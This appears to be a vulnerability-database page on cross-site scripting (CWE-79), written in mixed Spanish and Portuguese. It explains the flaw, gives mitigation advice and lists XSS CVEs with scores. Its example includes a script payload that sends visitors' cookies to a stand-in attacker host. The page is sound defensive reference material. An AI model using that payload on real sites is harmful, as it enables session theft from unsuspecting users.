Fallos del tipo CWE-79

28.444 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2022-48343MEDIUMIn JetBrains TeamCity before 2022.10.2 there was an XSS vulnerability in the user creation process.EPSS 59.5%CVE-2023-43770MEDIUMRoundcube before 1.4.14, 1.5.x before 1.5.4, and 1.6.x before 1.6.3 allows XSS via text/plain e-mail messages with crafted links because of EPSS 58.5%KEVCVE-2023-22249MEDIUMAdobe Commerce Stored XSS Arbitrary code executionEPSS 58.5%CVE-2022-32174CRITICALGogs - XSSEPSS 58.0%CVE-2022-36097HIGHXWiki Platform Attachment UI vulnerable to cross-site scripting in the move attachment formEPSS 57.4%CVE-2023-27293MEDIUMImproper neutralization of input during web page generation allows an unauthenticated attacker to submit malicious Javascript as the answer EPSS 57.0%CVE-2024-34716CRITICALPrestaShop vulnerable to XSS via customer contact form in FO, through file uploadEPSS 56.4%CVE-2022-1104—Popup Maker < 1.16.5 - Admin+ Stored Cross-Site ScriptingEPSS 56.4%CVE-2023-0028MEDIUMCross-site Scripting (XSS) - Stored in linagora/twakeEPSS 56.0%CVE-2023-41249MEDIUMIn JetBrains TeamCity before 2023.05.3 reflected XSS was possible during copying Build StepEPSS 55.5%CVE-2023-40000HIGHWordPress LiteSpeed Cache plugin <= 5.7 - Unauthenticated Site Wide Stored XSS vulnerabilityEPSS 54.9%CVE-2025-44148CRITICALCross Site Scripting (XSS) vulnerability in MailEnable before v10 allows a remote attacker to execute arbitrary code via the failure.aspx coEPSS 54.7%CVE-2023-41425MEDIUMCross Site Scripting vulnerability in Wonder CMS v.3.2.0 thru v.3.4.2 allows a remote attacker to execute arbitrary code via a crafted scripEPSS 54.3%CVE-2023-50231HIGHNETGEAR ProSAFE Network Management System saveNodeLabel Cross-Site Scripting Privilege Escalation VulnerabilityEPSS 53.3%CVE-2022-1178HIGHStored Cross Site Scripting in openemr/openemrEPSS 51.6%CVE-2022-1181HIGHStored Cross Site Scripting in openemr/openemrEPSS 51.5%CVE-2024-1451HIGHImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting') in GitLabEPSS 51.5%CVE-2013-5223MEDIUMMultiple cross-site scripting (XSS) vulnerabilities in D-Link DSL-2760U Gateway (Rev. E1) allow remote authenticated users to inject arbitraEPSS 50.8%KEVCVE-2022-45365HIGHWordPress Stock Ticker Plugin <= 3.23.2 is vulnerable to Cross Site Scripting (XSS)EPSS 48.9%CVE-2024-21726MEDIUM[20240205] - Core - Inadequate content filtering within the filter codeEPSS 48.8%